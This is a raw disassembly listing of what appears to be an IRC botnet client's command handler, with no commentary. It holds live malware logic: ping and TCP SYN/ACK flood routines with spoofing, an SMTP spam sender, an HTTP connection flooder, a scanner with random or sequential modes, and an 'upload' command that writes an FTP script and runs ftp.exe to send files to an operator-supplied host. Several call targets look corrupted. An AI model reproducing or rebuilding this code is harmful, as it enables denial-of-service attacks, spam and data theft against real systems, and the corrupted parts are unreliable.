call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40714F
push [ebp+arg_8]
push offset aNetsend ; "netsend"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407041
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407041
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F17
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F17
push [ebp+arg_8]
push offset aP ; "p"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F17
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406D6E
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406D6E
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406D16
push [ebp+arg_10]
lea eax, [ebp+var_47EC]
push eax
call sub_41BEB0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+arg_10], eax
lea eax, [ebp+var_4188]
push eax
call sub_41BEB0
push [ebp+arg_18]
lea eax, [ebp+var_4588]
push eax
call sub_41BEB0
push offset asc_42CA2C ; " "
push offset dword_42B4FC
push [ebp+esi+var_7C]
call sub_417EEE
push eax
lea eax, [ebp+var_4288]
push eax
call sub_41BEB0
add esp, 30h
lea eax, [ebp+var_5588]
push eax
push 101h
call dword_4CAEE4
lea eax, [ebp+var_47EC]
push eax
call dword_4CAFF8
push 6
push 1
push 2
mov edi, eax
call dword_4CAFF4
push [ebp+arg_10]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CAF74
mov [ebp+var_31A], ax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4588]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_5988]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41B886
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CAF1C
mov edi, 100h
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4CAF8C
lea eax, [ebp+var_4088]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_5988]
push eax
push esi
call dword_4CAFC4
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4CAF8C
push esi
call dword_4CB00C
call dword_4CAECC
lea eax, [ebp+var_4588]
push eax
push offset unk_42A9CC
loc_406CCF: ; CODE XREF: sub_401ACD+2E82j
; sub_401ACD+4666j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
loc_406CDB: ; CODE XREF: sub_401ACD+248Bj
add esp, 0Ch
loc_406CDE: ; CODE XREF: sub_401ACD+4584j
; sub_401ACD+6653j ...
cmp [ebp+var_8], ebx
jnz short loc_406CFF
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_406CFF: ; CODE XREF: sub_401ACD+29B2j
; sub_401ACD+2A05j ...
mov esi, [ebp+arg_24]
loc_406D02: ; CODE XREF: sub_401ACD+68F2j
; sub_401ACD+78E2j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
pop ecx
mov eax, esi
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_406D16: ; CODE XREF: sub_401ACD+50ACj
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406D40
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4072E8
loc_406D40: ; CODE XREF: sub_401ACD+525Aj
push [ebp+esi+var_7C]
push [ebp+arg_18]
push [ebp+arg_0]
push edi
call sub_41B779
pop ecx
push eax
push [ebp+arg_10]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4100DB
jmp loc_4040AA
; ---------------------------------------------------------------------------
loc_406D6E: ; CODE XREF: sub_401ACD+507Ej
; sub_401ACD+5095j
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1354]
push esi
push eax
call sub_41B980
lea eax, [ebp+var_1354]
push eax
push offset aSyn ; "syn"
call sub_41C070
add esp, 14h
test eax, eax
jz short loc_406DD3
lea eax, [ebp+var_1354]
push eax
push offset aAck ; "ack"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406DD3
lea eax, [ebp+var_1354]
push eax
push offset aRandom_0 ; "random"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406DD3
push offset unk_42A984
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_406DD3: ; CODE XREF: sub_401ACD+52CCj
; sub_401ACD+52E3j ...
push [ebp+arg_18]
call sub_41B779
cmp eax, ebx
pop ecx
mov [ebp+var_124C], eax
jle loc_406EFF
push [ebp+arg_10]
lea eax, [ebp+var_1354]
push esi
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_13D4]
push edi
push esi
push eax
call sub_41B980
push [ebp+arg_0]
call sub_41B779
mov [ebp+var_1250], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1248], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13D8], eax
lea eax, [ebp+var_12D4]
push esi
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_1248], ebx
mov [ebp+var_1244], eax
mov eax, [ebp+var_8]
mov [ebp+var_1240], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406E70
mov eax, offset aNormal ; "Normal"
loc_406E70: ; CODE XREF: sub_401ACD+539Cj
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push eax
push offset unk_42A940
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 14h
push eax
call sub_40B0F6
add esp, 2Ch
mov [ebp+var_1254], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13D8]
push ebx
push eax
push offset byte_413E35
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_1254]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_406EEE
loc_406ED8: ; CODE XREF: sub_401ACD+541Fj
cmp [ebp+var_123C], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2650E43h
jmp short loc_406ED8
; ---------------------------------------------------------------------------
loc_406EEE: ; CODE XREF: sub_401ACD+5409j
nop
call near ptr 2660A00h
push eax
push offset unk_42A908
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_406EFF: ; CODE XREF: sub_401ACD+5317j
push offset unk_42A8D0
loc_406F04: ; CODE XREF: sub_401ACD+2018j
; sub_401ACD+202Ej ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_40828B
; ---------------------------------------------------------------------------
loc_406F17: ; CODE XREF: sub_401ACD+5039j
; sub_401ACD+5050j ...
cmp dword_4CB064, ebx
jnz loc_407026
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_4]
mov [ebp+var_FF8], eax
lea eax, [ebp+var_108C]
push eax
call sub_41B5F0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_100C], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_1008], eax
call sub_41B779
push 7Fh
mov [ebp+var_1004], eax
push [ebp+var_88]
lea eax, [ebp+var_110C]
push eax
call sub_41B5F0
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1110], eax
lea eax, [ebp+var_108C]
push [ebp+var_1004]
push [ebp+var_1008]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_100C]
push offset unk_42A888
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 16h
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_FFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1110]
push ebx
push eax
push offset dword_413284
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_FFC]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407015
loc_406FFF: ; CODE XREF: sub_401ACD+5546j
cmp [ebp+var_FF0], ebx
jnz loc_40828B
push 32h
call near ptr 2650E43h
nop
jmp short loc_406FFF
; ---------------------------------------------------------------------------
loc_407015: ; CODE XREF: sub_401ACD+5530j
call near ptr 2660A00h
nop
push eax
push offset unk_42A850
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_407026: ; CODE XREF: sub_401ACD+5450j
push 1FFh
lea eax, [ebp+var_2C4]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41B5F0
jmp loc_408288
; ---------------------------------------------------------------------------
loc_407041: ; CODE XREF: sub_401ACD+500Bj
; sub_401ACD+5022j
push edi
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push [ebp+arg_0]
push offset unk_42A7FC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push [ebp+arg_0]
call sub_41AFE0
mov edx, eax
push edi
mov edi, edx
call sub_41AFE0
push [ebp+arg_10]
add edi, eax
call sub_41AFE0
push [ebp+arg_8]
add edi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+edi+7]
push eax
call sub_41B900
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41B779
mov edi, [ebp+arg_1C]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_20], ebx
jle short loc_40713B
loc_4070C4: ; CODE XREF: sub_401ACD+561Bj
push [ebp+arg_C]
push edi
push [ebp+arg_10]
call sub_4185A4
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_1C], eax
jz short loc_4070EC
cmp eax, ebx
jnz short loc_40710B
inc [ebp+arg_20]
mov eax, [ebp+arg_20]
cmp eax, [ebp+arg_14]
jl short loc_4070C4
jmp short loc_407144
; ---------------------------------------------------------------------------
loc_4070EC: ; CODE XREF: sub_401ACD+560Cj
push ebx
push [ebp+var_4]
push offset unk_42A7C4
loc_4070F5: ; CODE XREF: sub_401ACD+5680j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
jmp loc_4072E8
; ---------------------------------------------------------------------------
loc_40710B: ; CODE XREF: sub_401ACD+5610j
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42A790
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
loc_40713B: ; CODE XREF: sub_401ACD+55F5j
cmp [ebp+arg_1C], ebx
jnz loc_4072E8
loc_407144: ; CODE XREF: sub_401ACD+561Dj
push ebx
push [ebp+var_4]
push offset unk_42A75C
jmp short loc_4070F5
; ---------------------------------------------------------------------------
loc_40714F: ; CODE XREF: sub_401ACD+4FC6j
; sub_401ACD+4FDDj ...
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_C64], eax
mov eax, [ebp+var_4]
mov [ebp+var_C68], eax
lea eax, [ebp+var_CFC]
push eax
call sub_41B5F0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_C7C], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_C78], eax
call sub_41B779
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C74], eax
jz short loc_4071B4
push esi
call sub_41B779
pop ecx
mov [ebp+var_C70], eax
jmp short loc_4071BA
; ---------------------------------------------------------------------------
loc_4071B4: ; CODE XREF: sub_401ACD+56D6j
mov [ebp+var_C70], ebx
loc_4071BA: ; CODE XREF: sub_401ACD+56E5j
push 7Fh
lea eax, [ebp+var_D7C]
push [ebp+var_88]
push eax
call sub_41B5F0
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_CFC]
mov [ebp+var_D80], esi
push [ebp+var_C74]
push [ebp+var_C78]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_C7C]
push offset unk_42A714
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 17h
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_C6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D80]
push ebx
push eax
push offset dword_413410
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_C6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40725D
loc_40724B: ; CODE XREF: sub_401ACD+578Ej
cmp [ebp+var_C60], ebx
jnz short loc_407278
push 32h
call near ptr 2650E43h
nop
jmp short loc_40724B
; ---------------------------------------------------------------------------
loc_40725D: ; CODE XREF: sub_401ACD+577Cj
nop
call near ptr 2660A00h
push eax
push offset unk_42A6DC
loc_407269: ; CODE XREF: sub_401ACD+4E31j
; sub_401ACD+62BEj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_407278: ; CODE XREF: sub_401ACD+4E15j
; sub_401ACD+5784j ...
cmp [ebp+var_8], ebx
jnz loc_4083BC
push ebx
push [ebp+var_4]
loc_407285: ; CODE XREF: sub_401ACD+22DEj
lea eax, [ebp+var_2C4]
push eax
push [ebp+var_88]
push esi
jmp loc_4082A8
; ---------------------------------------------------------------------------
loc_407298: ; CODE XREF: sub_401ACD+4F98j
; sub_401ACD+4FAFj
push 0Bh
call sub_40B33E
push edi
mov [ebp+arg_1C], eax
call sub_41B779
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_407454
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42A69C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
loc_4072E8: ; CODE XREF: sub_401ACD+526Dj
; sub_401ACD+5639j ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401E94
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409854
push 4
push esi
call sub_416908
pop ecx
test eax, eax
pop ecx
jnz short loc_407324
push esi
push offset unk_42A674
jmp loc_408CDB
; ---------------------------------------------------------------------------
loc_407324: ; CODE XREF: sub_401ACD+584Aj
call near ptr 267098Eh
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41B8E2
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_51F8]
push edx
push eax
lea eax, [ebp+var_2E58]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41B886
lea eax, [ebp+var_2E58]
push offset aAb ; "ab"
push eax
call sub_41B4C2
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401E94
push esi
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41BE06
push [ebp+arg_24]
call sub_41B05B
add esp, 20h
lea eax, [ebp+var_2E58]
push eax
lea eax, [ebp+var_4CF0]
push offset aSS_2 ; "-s:%s"
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_4CF0]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CAEE0
push [ebp+arg_10]
test eax, eax
push esi
jz short loc_4073F3
push offset unk_42A604
jmp short loc_4073F8
; ---------------------------------------------------------------------------
loc_4073F3: ; CODE XREF: sub_401ACD+591Dj
push offset unk_42A5D4
loc_4073F8: ; CODE XREF: sub_401ACD+5924j
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_407421
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_407421: ; CODE XREF: sub_401ACD+5936j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
loc_40742D: ; CODE XREF: sub_401ACD+5985j
lea eax, [ebp+var_2E58]
push 4
push eax
call sub_416908
add esp, 0Ch
test eax, eax
jz loc_401E94
lea eax, [ebp+var_2E58]
push eax
call sub_41BDDC
jmp short loc_40742D
; ---------------------------------------------------------------------------
loc_407454: ; CODE XREF: sub_401ACD+57E5j
push [ebp+arg_10]
call sub_41B779
push edi
mov [ebp+var_370], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41B779
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_40748D
push 5
pop eax
mov [ebp+var_36C], eax
loc_40748D: ; CODE XREF: sub_401ACD+59B5j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40749A
mov [ebp+var_36C], ecx
loc_40749A: ; CODE XREF: sub_401ACD+59C5j
push [ebp+arg_18]
call sub_41B779
mov [ebp+var_368], eax
mov eax, 320h
cmp [ebp+var_368], eax
pop ecx
jbe short loc_4074BC
mov [ebp+var_368], eax
loc_4074BC: ; CODE XREF: sub_401ACD+59E7j
or [ebp+var_354], 0FFFFFFFFh
cmp dword_431408, ebx
mov [ebp+arg_20], ebx
jz short loc_40750B
mov edi, offset dword_431408
loc_4074D3: ; CODE XREF: sub_401ACD+5A20j
push [ebp+arg_10]
lea eax, [edi-28h]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4074F1
inc [ebp+arg_20]
add edi, 40h
cmp [edi], ebx
jnz short loc_4074D3
jmp short loc_40750B
; ---------------------------------------------------------------------------
loc_4074F1: ; CODE XREF: sub_401ACD+5A16j
mov eax, [ebp+arg_20]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_431408[ecx]
mov [ebp+var_370], ecx
loc_40750B: ; CODE XREF: sub_401ACD+59FFj
; sub_401ACD+5A22j
cmp [ebp+var_370], ebx
jnz short loc_40751D
push offset unk_42A5A0
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_40751D: ; CODE XREF: sub_401ACD+5A44j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_407558
cmp byte ptr [edi], 23h
jz short loc_407558
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41B980
push 78h
push edi
call sub_41BFB0
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407632
; ---------------------------------------------------------------------------
loc_407558: ; CODE XREF: sub_401ACD+5A59j
; sub_401ACD+5A5Ej
cmp [ebp+var_8FF], bl
jnz short loc_40757A
cmp [ebp+var_8FE], bl
jnz short loc_40757A
cmp [ebp+var_8EE], bl
jnz short loc_40757A
push offset unk_42A56C
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_40757A: ; CODE XREF: sub_401ACD+5A91j
; sub_401ACD+5A99j ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4CAF18
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4CB000
push eax
lea eax, [ebp+var_484]
push eax
call sub_41B5F0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40762C
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41BE40
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407620
loc_4075FE: ; CODE XREF: sub_401ACD+5B51j
cmp eax, ebx
jz short loc_407620
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41BE40
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_4075FE
loc_407620: ; CODE XREF: sub_401ACD+5B2Fj
; sub_401ACD+5B33j
mov [ebp+var_344], 1
jmp short loc_407632
; ---------------------------------------------------------------------------
loc_40762C: ; CODE XREF: sub_401ACD+5B09j
mov [ebp+var_344], ebx
loc_407632: ; CODE XREF: sub_401ACD+5A86j
; sub_401ACD+5B5Dj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41B980
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_407683
loc_407670: ; CODE XREF: sub_401ACD+5BD9j
push esi
loc_407671: ; CODE XREF: sub_401ACD+5BC3j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_4076AE
; ---------------------------------------------------------------------------
loc_407683: ; CODE XREF: sub_401ACD+5BA1j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_407692
cmp byte ptr [eax], 23h
jnz short loc_407692
push eax
jmp short loc_407671
; ---------------------------------------------------------------------------
loc_407692: ; CODE XREF: sub_401ACD+5BBBj
; sub_401ACD+5BC0j
mov esi, offset aF ; "#f"
push offset dword_43D128
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_407670
mov [ebp+var_3F4], bl
loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4076C0
mov eax, offset aSequential ; "Sequential"
loc_4076C0: ; CODE XREF: sub_401ACD+5BECj
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A504
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset loc_40C33C
push ebx
push ebx
call near ptr 2660000h
nop
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40774E
loc_407738: ; CODE XREF: sub_401ACD+5C7Fj
cmp [ebp+var_340], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2650E43h
jmp short loc_407738
; ---------------------------------------------------------------------------
loc_40774E: ; CODE XREF: sub_401ACD+5C69j
nop
call near ptr 2660A00h
push eax
push offset unk_42A4CC
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj
; sub_401ACD+4F81j
push [ebp+arg_10]
call sub_40AAF9
push edi
mov [ebp+var_4E0], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_4EC], eax
call sub_41B779
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41B5F0
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CB000
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A47C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset byte_40C759
push ebx
push ebx
call near ptr 2660000h
nop
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407854
loc_40783E: ; CODE XREF: sub_401ACD+5D85j
cmp [ebp+var_4D0], ebx
jnz loc_403DA0
push 32h
call near ptr 2650E43h
nop
jmp short loc_40783E
; ---------------------------------------------------------------------------
loc_407854: ; CODE XREF: sub_401ACD+5D6Fj
nop
call near ptr 2660A00h
push eax
push offset unk_42A440
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_407865: ; CODE XREF: sub_401ACD+4F2Dj
; sub_401ACD+4F44j
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
cmp byte_43DEC8[eax], bl
jz loc_409854
cmp [ebp+var_C], ebx
jz loc_409854
push edi
call sub_41AFE0
push [ebp+arg_10]
mov esi, eax
call sub_41AFE0
push [ebp+arg_8]
add esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41B900
add esp, 14h
mov esi, eax
lea eax, [ebp+var_2C4]
push esi
push offset dword_42A434
push eax
call sub_41B886
add esp, 0Ch
cmp esi, ebx
jz loc_409854
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push edi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A72
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43DCB0[eax], 73h
jnz loc_409854
push esi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
add eax, offset byte_43DEC8
push eax
push edi
push offset aSSS_2 ; "[%s] * %s %s"
jmp loc_407A35
; ---------------------------------------------------------------------------
loc_40795D: ; CODE XREF: sub_401ACD+4EFFj
; sub_401ACD+4F16j
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
cmp byte_43DEC8[eax], bl
jz loc_409854
cmp [ebp+var_C], ebx
jz loc_409854
push edi
call sub_41AFE0
push [ebp+arg_10]
mov esi, eax
call sub_41AFE0
push [ebp+arg_8]
add esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409854
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push ebx
push ebx
push esi
push edi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A72
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43DCB0[eax], 73h
jnz loc_409854
push esi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
add eax, offset byte_43DEC8
push eax
push edi
push offset aSSS_1 ; "[%s] <%s> %s"
loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 28h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_407A62: ; CODE XREF: sub_401ACD+4ED1j
; sub_401ACD+4EE8j
push [ebp+arg_10]
call dword_4CAFB4
push edi
mov [ebp+var_680], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41B779
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41B5F0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4CB000
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A3D8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset dword_40C668
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407B44
loc_407B2E: ; CODE XREF: sub_401ACD+6075j
cmp [ebp+var_670], ebx
jnz loc_403DA0
push 32h
call near ptr 2650E43h
nop
jmp short loc_407B2E
; ---------------------------------------------------------------------------
loc_407B44: ; CODE XREF: sub_401ACD+605Fj
call near ptr 2660A00h
nop
push eax
push offset unk_42A4CC
jmp loc_403D91
